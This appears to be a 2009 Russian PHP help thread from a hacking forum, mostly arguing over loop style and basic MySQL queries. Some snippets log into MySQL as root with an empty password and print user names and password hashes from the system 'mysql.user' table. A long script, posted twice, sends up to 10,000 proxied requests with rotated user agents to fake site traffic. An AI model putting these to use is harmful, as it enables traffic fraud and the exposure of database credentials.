mysql_select_db('mysql');
$result = mysql_query('SELECT * FROM `user`');
while($array = mysql_fetch_assoc($result))
print_r($array);
?>
Так вот написанно в учебниkе что этот код должен вывести содержание таблицы user.Врать научись...
у тебя в таблице user есть записи?
nub-hacker
15.07.2009, 13:05
у тебя в таблице user есть записи?
Как минимум я есть.
ЗЫ функция print_r() Не помогает.
Зато когда я юзал не скрипт а прогу mysql.exe таким запросом всё выводило без проблем. версия mysql 4.1
пробуй так:
<?php
if(mysql_connect("localhost","root","")!=0)
print ("Connect to MySQL");
else
die(mysql_error());
mysql_select_db("forum");
$r=mysql_query('SELECT * FROM user')
or die (mysql_error());
for($data=array();$row=mysql_fetch_assoc($r);$data[]=$row);
echo "<pre>";
print_r($data);
echo "</pre>";
?>
nub-hacker
15.07.2009, 13:22
респект LIGA, получилось. только хотелось бы узнать что я не так зделал. в книге PHP глазами ламера написанно что мой код тру.
бредовый твой код
в своем коде я с помощью функции mysql_fetch_assoc и цикла for
записал все данные в двухмерный массив $data.
mailbrush
15.07.2009, 13:34
nub-hacker, посмотри мой пост. http://forum.antichat.ru/showpost.php?p=1388019&postcount=11360
у тебя в таблице user есть записи?
Посмотри на его код :)
пробуй так:
Посмотри на свой код :D
nub-hacker, посмотри мой пост. http://forum.antichat.ru/showpost.php?p=1388019&postcount=11360
Посмотри на его код :)
Посмотри на свой код :D
и что ты хотел этим сказать,есть замечаняи? я готов выслушать.
mailbrush
15.07.2009, 13:43
По поводу оптимальности:
1. LIGA, for($data=array();$row=mysql_fetch_assoc($r);$data []=$row);
Вместо for для вывода всех записей желательно использовать while.
2. LIGA && nub-hacker, if(mysql_connect("localhost","root","")!=0) - условие будет выполнятся в том случае, если ф-кция mysql_connect не вернула 0, т.е. вернула true, т.е. "!=0" совсем не обязательно.
3. LIGA && nub-hacker, код else die(mysql_error()); лишний. Вместо него после mysql_query() можно вставить or die(mysql_error()). Ошибка выведется, когда mysql_query вернет 0, т.е. false.
4. LIGA && nub-hacker, Текст, не использующий переменных, желательно заключать в одинарные.
5. LIGA && nub-hacker, Вместо функции print желательно использовать echo.
По поводу оптимальности:
1. LIGA, for($data=array();$row=mysql_fetch_assoc($r);$data []=$row);
Вместо for для вывода всех записей надо использовать while.
2. LIGA && nub-hacker, if(mysql_connect("localhost","root","")!=0) - условие будет выполнятся в том случае, если ф-кция mysql_connect не вернула 0, т.е. вернула true, т.е. "!=0" совсем не обязательно.
3. LIGA && nub-hacker, код else die(mysql_error()); лишний. Вместо него после mysql_query() можно вставить or die(mysql_error()). Ошибка выведется, когда mysql_query вернет 0, т.е. false.
4. LIGA && nub-hacker, Текст, не использующий переменных, необходимо заключать в одинарные кавычки для экономии памяти.
5. LIGA && nub-hacker, Вместо функции print использовать echo, для экономии памяти.
1объясни почему именно while?
2,3 я не переписывал его код а дописал.
4,5и что ты секономишь?там всего пару строчек кода
есть еще замечания?
Pashkela
15.07.2009, 13:54
5. LIGA && nub-hacker, Вместо функции print желательно использовать echo.
echo_r($data) что ли?:)
imajo.ati
15.07.2009, 13:54
XopoIII, конечно есть...
ненене, они могут повториться, а нужно разные
mailbrush
15.07.2009, 14:04
echo_r($data) что ли?:)
Я не говорил, вместо print_r, я сказал вместо print.
L I G A,
1. В конкретном случае цикл while займет меньше времени, оперативки.
2,3. Это не оправдание.
4,5. Время, оперативку.
1-5 - Если сделать все это, код будет выполнятся быстрее, станет оптимальнее. Проверить можно функцией microtime(). Оперативку до и после работы скрипта тоже можно измерить функцией, но я не помню какой.
Я не говорил, вместо print_r, я сказал вместо print.
L I G A,
1. В конкретном случае цикл while займет меньше времени, оперативки.
2,3. Это не оправдание.
4,5. Время, оперативку.
1-5 - Если сделать все это, код будет выполнятся быстрее, станет оптимальнее. Проверить можно функцией microtime(). Оперативку до и после работы скрипта тоже можно измерить функцией, но я не помню какой.
1запиши мне в условие while то что я написал в цикл for
2,3кто ты такой что б я перед тобой оправдывался?,я исправил кусок кода и тем самым помог пользователю в отличии от твоих бредовых постов которыми ты не знаешь как до***ца.
4,5 гонщик спиди бля
Ответ на пост снизу:
2,3 теперь я переписал полностью код,в прошлый раз я исправил только ту часть кода без которой он не работал бы
<?php
mysql_connect("localhost","root")or die(mysql_error());
mysql_select_db("forum");
$r=mysql_query('SELECT * FROM user')
or die (mysql_error());
for($data=array();$row=mysql_fetch_assoc($r);$data []=$row);
echo "<pre>";
print_r($data);
echo "</pre>";
?>
2. LIGA && nub-hacker, if(mysql_connect("localhost","root","")!=0) - условие будет выполнятся в том случае, если ф-кция mysql_connect не вернула 0, т.е. вернула true, т.е. "!=0" совсем не обязательно.
3. LIGA && nub-hacker, код else die(mysql_error()); лишний. Вместо него после mysql_query() можно вставить or die(mysql_error()). Ошибка выведется, когда mysql_query вернет 0, т.е. false.
4. LIGA && nub-hacker, Текст, не использующий переменных, необходимо заключать в одинарные кавычки для экономии памяти.
5. LIGA && nub-hacker, Вместо функции print использовать echo, для экономии памяти.
2,3,4,5 отпадает это были его строки кода.
__________________________________________________ _
если уже зашел розговор то соединение к БД лучше подключать через функцию require_once
например: require_once "mysql_connect.php";
как ты мог про такое забыть если же
вписывать в каждый код
mysql_connect("localhost","root",false)or die(mysql_error());
mysql_select_db("forum");
то сколько мы памяти это займет?(чем оптимальнее код - тем выше его работоспособность)(С)Меилб уш,не так ли?
в твоем коде :
print_r($data); что при запуске будет совсем не читабильно в отличии от моего:
echo "<pre>";
print_r($data);
echo "</pre>";
mysql_select_db('mysql');
ты же говорил что быдлокод не пишешь ?
у него БД 'forum' а не 'mysql'
__________________________________________________ _
Чтобы помочь пользователю, недостаточно исправить кусок кода - надо исправить ВЕСЬ код, если это необходимо, и объяснить что к чему и зачем, что и сделал я.
респект LIGA, получилось.
с твоим мего оптимезированым кодом у него почему то ничего не получилось.
вижу ты разозлился и поудалял все плюсы с мой репы,знаешь мне как то все равно я не реподрочер.
mailbrush
15.07.2009, 14:23
L I G A, чем оптимальнее код - тем выше его работоспособность. Пускай, для одного юзера все будет одинаково, но если на скрипт зайдут 100-200? Умножь кол-во потраченого времени, оперативки на это число. В этом случае он будет часто падать. Да, ты скажешь - ну и кто на этот скрипт будет заходить, он же для теста его написал? А, может, он планирует серьезно занятся PHP, а твои посты будут учить его "быдлокодингу", что он и будет в дальнеешем писать.
1. <?php
mysql_connect('localhost', 'root', false) or die(mysql_error());
mysql_select_db('mysql');
$result = mysql_query('SELECT * FROM `user`');
while ($array = mysql_fetch_assoc($result))
print_r($array);
?>
2,3. Никто, но в первом ответе ты оправдывался, хотя я просил ответа. Если не устраивает так, тогда - это не ответ.
4,5. См. первые строчки.
я исправил кусок кода и тем самым помог пользователю
Чтобы помочь пользователю, недостаточно исправить кусок кода - надо исправить ВЕСЬ код, если это необходимо, и объяснить что к чему и зачем, что и сделал я.
PS: Если нечего сказать - промолчи, а материться иди на другой форум.
mailbrush
15.07.2009, 15:06
респект LIGA, получилось.
Я отредактировал свой пост, добавив код, а он его не увидел, т.к. новая страница создалась. После твоего поста он не появлялся в теме. Если бы у него не вышло с моим кодом, он бы написал.
вижу ты разозлился и поудалял все плюсы с мой репы,знаешь мне как то все равно я не реподрочер.Да, мне так захотелось, и я имею право делать с поставленными мною плюсами все, что захочу.
теперь я переписал полностью код,в прошлый раз я исправил толшько ту часть кода без которой он не работал быВсеравно неоптимизирован (кавычки, for).
если уже зашел розговор то соединение к БД лучше подключать через функцию require_once
например require_once "mysql_connect.php";В конкретном случае - это лишнее. В одном скрипте инклюд больше памяти займет, нежели в двиге. Можешь проверить :) что при запуске будет совсем не читабильно в отличии от моего:
Я говорил про оптимальность, а не про читабельность. На крайняк - можно в сорсы заглянуть.
Плюс мы для теста выводим print_r, т.к. в коде print_r использоваться не будет. Покажи-ка, как в твоем коде вывести даные, используя эхо, если в БД, н.п., 4 записи, не повторяя индексы. В моем это возможно
<?php
mysql_connect('localhost', 'root', false) or die(mysql_error());
mysql_select_db('mysql');
$result = mysql_query('SELECT * FROM `user`');
while ($array = mysql_fetch_assoc($result))
echo $array['User'].':'.$array['Password'].'<br>';
?>
Я отредактировал свой пост, добавив код, а он его не увидел, т.к. новая страница создалась. После твоего поста он не появлялся в теме
есть доказательства?
В конкретном случае - это лишнее. В одном скрипте инклюд больше памяти займет, нежели в двиге.
в конкретном случае не имеет разницы что while что for
Я говорил про оптимальность, а не про читабельность
ну я тоже не говорил про оптимальность.
Да, мне так захотелось, и я имею право делать с поставленными мною плюсами все, что захочу.
я до такого уровня опускатся не буду.
Плюс мы для теста выводим print_r, т.к. в коде print_r использоваться не будет. Покажи-ка, как в твоем коде вывести даные, используя эхо, если в БД, н.п., 4 записи, не повторяя индексы. В моем это возможно
<?php
mysql_connect('localhost', 'root', false) or die(mysql_error());
mysql_select_db('mysql');
$result = mysql_query('SELECT * FROM `user`');
while ($array = mysql_fetch_assoc($result))
echo $array['User'].':'.$array['Password'].'<br>';
?>
используя эхо
отдельное спс,поржал.
только у этого кода есть недостаток,потому как в таблице может быть еще такая колонкa как id
и он её выводить не будет.
no problem
Покажу-ка:
<?php
require_once "mysql_connect.php";
$r=mysql_query('SELECT * FROM user')
or die (mysql_error());
for($data=array();$row=mysql_fetch_assoc($r);$data[]=$row){
echo $row['User'].':'.$row['Password'].'<br>';
}
?>
mailbrush
15.07.2009, 15:53
есть доказательства?Ты сам видел... + Есть снизу "Последний раз редактировалось:..."
в конкретном случае не имеет разницы что while что for
С точки зрения оптимальности: имеет.
ну я тоже не говорил про оптимальность.
Нет, ты про читабельность. Читабельность и оптимальность - разные вещи.
я до такого уровня опускатся не буду.
А тебя никто и не просит.
отдельное спс,поржал.
Что смешного?
только у этого кода есть недостаток,потому как в таблице может быть еще такая колонкa как id
и он её выводить не будет.
Я показал пример. Не трудно будет еще добавить $array['id'];
no problem
Покажу-ка:
:) У тебя в логическом выражении стоят три функции :) В инструкции (теле цикла) одна. Вместе 4.
У меня в логическом выражении одна. В инструкции также одна. Вместе 2, т.е. в два раза меньше чем у тебя. Опять оптимальность...
С точки зрения оптимальности: имеет.
гонщик
Нет, ты про читабельность. Читабельность и оптимальность - разные вещи.
вот и правильно пока ты не начал писать про оптимальность я ничего не писал про читабильность
Что смешного?
я про :не повторяя индексы
какие могут быть индексы у переменных?(я знаю что индексы могут быть у массивов) ведь все переменные начинаются со знака доллара(С)Мэилбруш
Я показал пример. Не трудно будет еще добавить $array['id'];
ок,а если в теблице не три колонки а во много раз больше ты будешь дописывать в него все? бред.
:) У тебя в логическом выражении стоят три функции :) В инструкции (теле цикла) одна. Вместе 4.
У меня в логическом выражении одна. В инструкции также одна. Вместе 2, т.е. в два раза меньше чем у тебя. Опять оптимальность...
в конкретном случае это его не замедлит.
for($data=array();$row=mysql_fetch_assoc($r);$data []=$row);
тут кое что лишнее
for(;$row=mysql_fetch_assoc($r);)
и нормально
И вообще спор на пустом месте.
mailbrush
15.07.2009, 16:21
в конкретном случае это его не замедлит.while быстрее for.я про :не повторяя индексы
какие могут быть индексы у переменных?(я знаю что индексы могут быть у массивов) ведь все переменные начинаются со знака доллара(С)МэилбрушОпять за свое... пост слипа почитай.гонщикиного слова не знаешь?вот и правильно пока ты не начал писать про оптимальность я ничего не писал про читабильностьА это тут при чем?ок,а если в теблице не три колонки а во много раз больше ты будешь дописывать в него все? бред.В этом случае можно будет юзать цикл foreach.
for($data=array();$row=mysql_fetch_assoc($r);$data []=$row);
это для наглядности потому как я писал этот код новичку и чтоб ему было вилно что $data массив.
никто не спорит что while быстре.
Читабельность и оптимальность - разные вещи.
А это тут при чем?
В этом случае можно будет юзать цикл foreach.
эмм,код больше станет т памяти больше займет,у нас экономия!
а вот так будет быстрее ,читабильней а главное экономней!:
echo "<pre>";
print_r($data);
echo "</pre>";
mailbrush
15.07.2009, 16:42
а вот так будет быстрее ,читабильней а главное экономней!:И как ты, интерестно, будешь использовать это в выводе данных? Ну, например, пишешь ты скрипт просмотра профиля, по ID. Ты будешь там print_r() юзать? Думаю, нет. А если уже пошло на оптимальность, экономию, можно юзать код
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
printf ("ID: %s Username: %s", $row[0], $row[1]);
}
никто не спорит что while быстре.
Ты спорил... пока ChaaK не появился.
И как ты, интерестно, будешь использовать это в выводе данных? Ну, например, пишешь ты скрипт просмотра профиля, по ID.
не надо тему переводить мы сейчас о другом скрипте говорим,и для него будет оптимальней
print_r();
Ты спорил... пока ChaaK не появился.
найди пост в которм я писал что for быстрее while.
я писал чо в данном скрипте это роли не играет.
и с таким же успехом могу написать что ты спорил будто Земля имеет форму куба :D
mailbrush
15.07.2009, 18:54
я писал чо в данном скрипте это роли не играет.
Какраз играет. В любом скрипте while быстрее for, если тело цикла одинаковое.
mailbrush
15.07.2009, 19:40
Но все же играет:) Мб перестанем спорить?
Но все же играет:) Мб перестанем спорить?
мудрое решение),так бы сразу.
mailbrush
15.07.2009, 19:49
Это не значит, что я сдался :). Я довел, что мой скрипт работает оптимальнее, а потом предложил мир:) Только не надо сейчас опять разводить споры насчет предыдущего предложения.
Это не значит, что я сдался :). Я довел, что мой скрипт работает оптимальнее, а потом предложил мир:) Только не надо сейчас опять разводить споры насчет предыдущего предложения.
это будет моей последний пост на эту тему болше спорить не буду).
Да твой скрипт оптимальней тем что его сценарий выполняется на наносекунды быстрее моего,(не начального).
я спор не разводил и не собираюсь разводить насчет предыдущего предложения ;)
ANTIHАCK
16.07.2009, 13:54
Привет вам) Кто может подсказать скриптик который будет числа в диапозоне показывать) НУ пример:
Сейчас на сайте: 34 чел..
Страницу обновил:
Сейчас на сайте: 43 чел.
Спасибо)
FireFenix
16.07.2009, 13:59
<?php
$min = 0;
$max = 100;
$result = rand($min, $max);
echo $result;
?>
Такой ?
ANTIHАCK
16.07.2009, 14:08
<?php
$min = 0;
$max = 100;
$result = rand($min, $max);
echo $result;
?>
Такой ?
да +
ANTIHАCK
16.07.2009, 14:24
мм.. и еще вопросик) как вывести это в DLE?)) Просто в шаб вставить естественно не робит.
mailbrush
16.07.2009, 14:33
А это не здесь задавай. Тут вопросы по PHP, а не по движкам.
мм.. и еще вопросик) как вывести это в DLE?)) Просто в шаб вставить естественно не робит.
Сделай как блок рекламы, ну и в шаблоне тег рекламы не забудь.
Люди, подскажите пожалуйста любой готовый простенький пример авторизации PHP+CURL с cookie.
heretic1990
16.07.2009, 15:53
вобще делаю скрипт накрутки хостов. но он чегото не работает, я вроде всё сделал правильно. в чём ошибка? поправте пожалуйста!
<?php
function error( $error = false )
{
header( "Expires: Thu, 19 Feb 1998 13:24:18 GMT" );
header( "Last-Modified: ".gmdate( "D, d M Y H:i:s" )." GMT" );
header( "Cache-Control: no-cache, must-revalidate" );
header( "Cache-Control: post-check=0, pre-cache=0" );
header( "Cache-Control: max-age=0" );
header( "Pragma: no-cache" );
header( "Content-Type: text/html; charset=windows-1251" );
$rand = mt_rand( 0, 99999 );
echo "<html>\r\n
<head>\r\n
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\" />
<title>Накрутка хостов</title>\r\n
</head>\r\n
<body>\r\n
<form action=\"index.php\" method=\"post\">\r\n";
if ( $error == "agents" )
{
echo "<b>Файл с браузерами недоступен или пуст!</b><br/>\n";
}
if ( $error == "proxys" )
{
echo "<b>Файл с прокси адресами недоступен или пуст!</b><br/>\n";
}
echo "Количество хостов:<br/>\n";
if ( $error == "kol" )
{
echo "Мин:1 Макс:10000<br/>\n";
}
echo "<input name=\"kol\" type=\"text\" value=\"100\" maxlength=\"5\" size=\"5\" /><br/>\r\nАдрес:<br/>\n";
if ( $error == "link" )
{
echo "Не корректно!<br/>\n";
}
echo "<input name=\"link\" type=\"text\" value=\"http://\" maxlength=\"100\" /><br/>\r\nМакс. время соединений:<br/>\n";
if ( $error == "time" )
{
echo "Мин:1 Макс:30<br/>\n";
}
echo "<input name=\"time\" type=\"text\" value=\"10\" maxlength=\"2\" size=\"2\" /><br/>\r\nМетод передачи:<br/>\n";
if ( $error == "method" )
{
echo "GET или POST<br/>\n";
}
echo "<select name=\"method\">\r\n
<option value=\"1\">GET</option>\r\n
<option value=\"2\">POST</option>\r\n
</select><br/>\r\nПротокол передачи:<br/>\n";
if ( $error == "protokol" )
{
echo "HTTP/1.0 или HTTP/1.1<br/>\n";
}
echo "<select name=\"protoko\">\r\n
<option value=\"1\">HTTP/1.0</option>\r\n
<option value=\"2\">HTTP/1.1</option>\r\n
</select><br/>\r\nСоединение:<br/>\n";
if ( $error == "connection" )
{
echo "Close или Keep-Alive<br/>\n";
}
echo "<select name=\"connection\">\r\n
<option value=\"1\">Close</option>\r\n
<option value=\"2\">Keep-Alive</option>\r\n
</select><br/>\r\nВыбор телефона:<br/>\n";
if ( $error == "agent" )
{
echo "случайно или по порядку<br/>\n";
}
echo "<select name=\"agent\">\r\n
<option value=\"1\">случайно</option>\r\n
<option value=\"2\">по порядку</option>\r\n
</select><br/>\r\nВыбор прокси:<br/>\n";
if ( $error == "proxy" )
{
echo "случайно или по порядку<br/>\n";
}
echo "<select name=\"proxy\">\r\n
<option value=\"1\">случайно</option>\r\n
<option value=\"2\">по порядку</option>\r\n
</select><br/>\r\n<input name=\"submit\" type=\"submit\" value=\"Крутить\">\r\n
</form>\r\n
</body>\r\n
</html>\n";
}
error_reporting( 0 );
$kol = intval( $_POST['kol'] );
$link = $_POST['link'];
$time = intval( $_POST['time'] );
$method = intval( $_POST['method'] );
$protokol = intval( $_POST['protokol'] );
$connection = intval( $_POST['connection'] );
$agent = intval( $_POST['agent'] );
$proxy = intval( $_POST['proxy'] );
$agents = array( );
$proxys = array( );
$agents = file( "agents.txt" );
$proxys = file( "proxys.txt" );
$cagents = count( $agents );
$cproxys = count( $proxys );
if ( empty( $kol ) || empty( $link ) || empty( $time ) || empty( $method ) || empty( $protokol ) || empty( $connection ) )
{
error( );
}
else if ( $kol < 1 || 10000 < $kol )
{
error( "kol" );
}
else if ( strlen( $link ) < 15 || 100 < strlen( $link ) || substr( $link, 0, 7 ) !== "http://" )
{
error( "link" );
}
else if ( $time < 1 || 30 < $time )
{
error( "time" );
}
else if ( $method < 1 || 2 < $method )
{
error( "method" );
}
else if ( $protokol < 1 || 2 < $protokol )
{
error( "protokol" );
}
else if ( $connection < 1 || 2 < $connection )
{
error( "connection" );
}
else if ( $agent < 1 || 2 < $agent )
{
error( "agent" );
}
else if ( $proxy < 1 || 2 < $proxy )
{
error( "proxy" );
}
else if ( $cagents < 1 )
{
error( "agents" );
}
else if ( $cproxys < 1 )
{
error( "proxys" );
}
else
{
$na = -1;
$np = -1;
$link = substr( $link, 7 );
$host = strtok( $link, "/" );
if ( $host == false )
{
$host = $link;
}
if ( $method == 1 )
{
$method = "GET";
}
else
{
$method = "POST";
}
if ( $protokol == 1 )
{
$protokol = "HTTP/1.0";
}
else
{
$protokol = "HTTP/1.1";
}
if ( $connection == 1 )
{
$connection = "Close";
}
else
{
$connection = "Keep-Alive";
}
$i = 0;
for ( ; $i < $kol; ++$i )
{
if ( $agent == 1 )
{
$na = mt_rand( 0, $cagents - 1 );
}
else
{
++$na;
}
if ( $proxy == 1 )
{
$np = mt_rand( 0, $cproxys - 1 );
}
else
{
++$np;
}
if ( $cagents <= $na )
{
$na = 0;
}
if ( $cproxys <= $np )
{
$np = 0;
}
$a = trim( $agents[$na] );
$p = trim( $proxys[$np] );
if ( empty( $a ) || empty( $p ) )
{
}
else
{
$hd = "{$method} http://{$link} {$protokol}\r\n";
$hd .= "Host: {$host}\r\n";
$hd .= "Proxy-Connection: {$connection}\r\n";
$hd .= "User-Agent: {$a}\r\n\r\n";
$p = explode( ":", $p );
$sock = trim( $p['0'] );
$port = trim( $p['1'] );
if ( empty( $sock ) || empty( $port ) )
{
}
else
{
$fo = fsockopen( $sock, $port, $er1, $er2, $time );
fputs( $fo, $hd );
}
}
}
$text = "";
while ( !feof( $fo ) )
{
$text .= fgets( $fo, 1024 );
}
$hd = substr( $text, 0, strpos( $text, "\r\n\r\n" ) );
$text = substr( $text, strpos( $text, "\r\n\r\n" ) + 4 );
if ( $powered = strtok( strstr( $hd, "X-Powered-By:" ), "\r\n" ) )
{
header( $powered );
}
if ( $cache = strtok( strstr( $hd, "Cache-Control:" ), "\r\n" ) )
{
header( $cache );
}
if ( $expires = strtok( strstr( $hd, "Expires:" ), "\r\n" ) )
{
header( $expires );
}
if ( $pragma = strtok( strstr( $hd, "Pragma:" ), "\r\n" ) )
{
header( $pragma );
}
if ( $modified = strtok( strstr( $hd, "Last-Modified:" ), "\r\n" ) )
{
header( $modified );
}
if ( $type = strtok( strstr( $hd, "Content-Type:" ), "\r\n" ) )
{
header( $type );
}
if ( $disposition = strtok( strstr( $hd, "Content-Disposition:" ), "\r\n" ) )
{
header( $disposition );
}
if ( $etag = strtok( strstr( $hd, "ETag:" ), "\r\n" ) )
{
header( $etag );
}
if ( $ranges = strtok( strstr( $hd, "Accept-Ranges:" ), "\r\n" ) )
{
header( $ranges );
}
exit( $text );
}
?>
FireFenix
16.07.2009, 16:25
Редкий говнокод
1) Отдели HTML от PHP
2) Вместо If используй switch
^- Повысит шансы найти проблему
3) Перепишы на CURL, чтобы непариться отладкой и чтобы уменьшить на порядок код
heretic1990
16.07.2009, 16:38
Редкий говнокод я старался :D :D :D
function Findurl($http,$path,$lv=0)
{
$curl = curl_init($http.$path);
// Параметры соединения
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2');
// Получаем соедржимое страницы
$id2 = curl_exec($curl);
curl_close($curl);
//ищем ссылки на обьявления
$pat2 = '#href=\"(\d+\.html)\"#im';
$total = preg_match_all($pat2,$id2,$poc2) ;
//echo("<pre>");
//print_r($poc2[1]);
// echo("</pre>");
for($i=0; $i < $total-1; $i++) {
if(cheak($poc2[1][$i],'url','link')) {
links($poc2[1][$i]);
}
}
$pats3='#href=\"(table\d+\.html)\"#im';
$tot = preg_match_all($pats3, $id2,$pock);
echo("<pre>");
print_r($pock[1]);
echo("</pre>");
if($lv < $tot) {
for($i=0; $i < $tot ; $i++)
{
Findurl('http://site.ws/page/'.$pock[1][$i],$lv+1);
}
}
}
Допутим там линков на 20 страниц
как сделать что он повторно не ходил по линкам
у меня все зацыкливаеться?
------------------------------------
Все решил создал таблицу туда все страницы вбил
после завершение раб фун вызываю фун для удаление страниц из таблицы
FireFenix
16.07.2009, 21:52
Вести историю переходов в массиве, потом при переходе проверять in_array
Имхо если их куда-то записывать и проверять, была ли такая уже в рамках данного цикла (или вообще все их писать)
такой код
$result=mysql_query('SELECT * FROM `tableA` inner join tableB on tableA.delivery=tableB.id');
while($row = mysql_fetch_array($result)){
echo $row['id'];}
в обоих таблицах столбик ид.
надо вывести ид из первой таблицы а он выводит из второй. так не помогает $row['tableA.id']
как сделать?)
To heretic1990:
<?php
function error( $error = false )
{
header( "Expires: Thu, 19 Feb 1998 13:24:18 GMT" );
header( "Last-Modified: ".gmdate( "D, d M Y H:i:s" )." GMT" );
header( "Cache-Control: no-cache, must-revalidate" );
header( "Cache-Control: post-check=0, pre-cache=0" );
header( "Cache-Control: max-age=0" );
header( "Pragma: no-cache" );
header( "Content-Type: text/html; charset=windows-1251" );
$rand = mt_rand( 0, 99999 );
echo "<html>\r\n
<head>\r\n
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\" />
<title>Накрутка хостов</title>\r\n
</head>\r\n
<body>\r\n
<form action=\"test.php\" method=\"post\">\r\n";
if ( $error == "agents" )
{
echo "<b>Файл с браузерами недоступен или пуст!</b><br/>\n";
}
if ( $error == "proxys" )
{
echo "<b>Файл с прокси адресами недоступен или пуст!</b><br/>\n";
}
echo "Количество хостов:<br/>\n";
if ( $error == "kol" )
{
echo "Мин:1 Макс:10000<br/>\n";
}
echo "<input name=\"kol\" type=\"text\" value=\"100\" maxlength=\"5\" size=\"5\" /><br/>\r\nАдрес:<br/>\n";
if ( $error == "link" )
{
echo "Не корректно!<br/>\n";
}
echo "<input name=\"link\" type=\"text\" value=\"http://\" maxlength=\"100\" /><br/>\r\nМакс. время соединений (секунд):<br/>\n";
if ( $error == "time" )
{
echo "Мин:1 Макс:30<br/>\n";
}
echo "<input name=\"time\" type=\"text\" value=\"10\" maxlength=\"2\" size=\"2\" /><br/>\r\nМетод передачи:<br/>\n";
if ( $error == "method" )
{
echo "GET или POST<br/>\n";
}
echo "<select name=\"method\">\r\n
<option value=\"GET\">GET</option>\r\n
<option value=\"POST\">POST</option>\r\n
</select><br/>\r\nПротокол передачи:<br/>\n";
if ( $error == "protokol" )
{
echo "HTTP/1.0 или HTTP/1.1<br/>\n";
}
echo "<select name=\"protokol\">\r\n
<option value=\"HTTP/1.0\">HTTP/1.0</option>\r\n
<option value=\"HTTP/1.1\">HTTP/1.1</option>\r\n
</select><br/>\r\nСоединение:<br/>\n";
if ( $error == "connection" )
{
echo "Close или Keep-Alive<br/>\n";
}
echo "<select name=\"connection\">\r\n
<option value=\"Close\">Close</option>\r\n
<option value=\"Keep-Alive\">Keep-Alive</option>\r\n
</select><br/>\r\nВыбор телефона:<br/>\n";
if ( $error == "agent" )
{
echo "случайно или по порядку<br/>\n";
}
echo "<select name=\"agent\">\r\n
<option value=\"1\">случайно</option>\r\n
<option value=\"2\">по порядку</option>\r\n
</select><br/>\r\nВыбор прокси:<br/>\n";
if ( $error == "proxy" )
{
echo "случайно или по порядку<br/>\n";
}
echo "<select name=\"proxy\">\r\n
<option value=\"1\">случайно</option>\r\n
<option value=\"2\">по порядку</option>\r\n
</select><br/>\r\n<input name=\"submit\" type=\"submit\" name=\"start\" value=\"Крутить\">\r\n
</form>\r\n
</body>\r\n
</html>\n";
}
error_reporting( 0 );
$kol = intval( $_POST['kol'] );
$link = $_POST['link'];
$time = intval( $_POST['time'] );
$method = $_POST['method'];
$protokol = $_POST['protokol'];
$connection = $_POST['connection'];
$agent = intval( $_POST['agent'] );
$proxy = intval( $_POST['proxy'] );
$agents = array( );
$proxys = array( );
$agents = file( "agents.txt" );
$proxys = file( "proxys.txt" );
$cagents = count( $agents );
$cproxys = count( $proxys );
if ( empty( $kol ) || empty( $link ) || empty( $time ) || empty( $method ) || empty( $protokol ) || empty( $connection ) )
{
error( );
}
else if ( $kol < 1 || 10000 < $kol )
{
error( "kol" );
}
else if ( strlen( $link ) < 15 || 100 < strlen( $link ) || substr( $link, 0, 7 ) !== "http://" )
{
error( "link" );
}
else if ( $time < 1 || 30 < $time )
{
error( "time" );
}
else if ( $method < 1 || 2 < $method )
{
error( "method" );
}
else if ( $protokol < 1 || 2 < $protokol )
{
error( "protokol" );
}
else if ( $connection < 1 || 2 < $connection )
{
error( "connection" );
}
else if ( $agent < 1 || 2 < $agent )
{
error( "agent" );
}
else if ( $proxy < 1 || 2 < $proxy )
{
error( "proxy" );
}
else if ( $cagents < 1 )
{
error( "agents" );
}
else if ( $cproxys < 1 )
{
error( "proxys" );
}
else
{
$na = -1;
$np = -1;
$link = substr( $link, 7 );
$host = strtok( $link, "/" );
if ( $host == false )
{
$host = $link;
}
if ( $method == 1 )
{
$method = "GET";
}
else
{
$method = "POST";
}
if ( $protokol == 1 )
{
$protokol = "HTTP/1.0";
}
else
{
$protokol = "HTTP/1.1";
}
if ( $connection == 1 )
{
$connection = "Close";
}
else
{
$connection = "Keep-Alive";
}
$i = 0;
for ( ; $i < $kol; ++$i )
{
if ( $agent == 1 )
{
$na = mt_rand( 0, $cagents - 1 );
}
else
{
++$na;
}
if ( $proxy == 1 )
{
$np = mt_rand( 0, $cproxys - 1 );
}
else
{
++$np;
}
if ( $cagents <= $na )
{
$na = 0;
}
if ( $cproxys <= $np )
{
$np = 0;
}
$a = trim( $agents[$na] );
$p = trim( $proxys[$np] );
if ( empty( $a ) || empty( $p ) )
{
}
else
{
}
}
$text = "";
while ( !feof( $fo ) )
{
$text .= fgets( $fo, 1024 );
}
$hd = substr( $text, 0, strpos( $text, "\r\n\r\n" ) );
$text = substr( $text, strpos( $text, "\r\n\r\n" ) + 4 );
if ( $powered = strtok( strstr( $hd, "X-Powered-By:" ), "\r\n" ) )
{
header( $powered );
}
if ( $cache = strtok( strstr( $hd, "Cache-Control:" ), "\r\n" ) )
{
header( $cache );
}
if ( $expires = strtok( strstr( $hd, "Expires:" ), "\r\n" ) )
{
header( $expires );
}
if ( $pragma = strtok( strstr( $hd, "Pragma:" ), "\r\n" ) )
{
header( $pragma );
}
if ( $modified = strtok( strstr( $hd, "Last-Modified:" ), "\r\n" ) )
{
header( $modified );
}
if ( $type = strtok( strstr( $hd, "Content-Type:" ), "\r\n" ) )
{
header( $type );
}
if ( $disposition = strtok( strstr( $hd, "Content-Disposition:" ), "\r\n" ) )
{
header( $disposition );
}
if ( $etag = strtok( strstr( $hd, "ETag:" ), "\r\n" ) )
{
header( $etag );
}
if ( $ranges = strtok( strstr( $hd, "Accept-Ranges:" ), "\r\n" ) )
{
header( $ranges );
}
exit( $text );
}
if($_POST['link']) {
$str=str_replace("http://", "", $link);
$srv=substr($str,0,strpos($str,"/"));
for($i=0; $i<$kol; $i++) {
$fp = fsockopen($srv, '80', $er1, $er2, $time);
if ($fp)
{
$hd = "".$method." ".$link." ".$protokol."\n";
$hd .= "Content-Length: 0\n\n";
$hd .= "Proxy-Connection: $connection\r\n";
$hd .= "User-Agent: Win98, MSIE\r\n\r\n";
fwrite($fp, $hd);
$line='';
while (!feof($fp))
{
$line .= fgets($fp, 1024);
}
fclose($fp);
}
}
}
?>
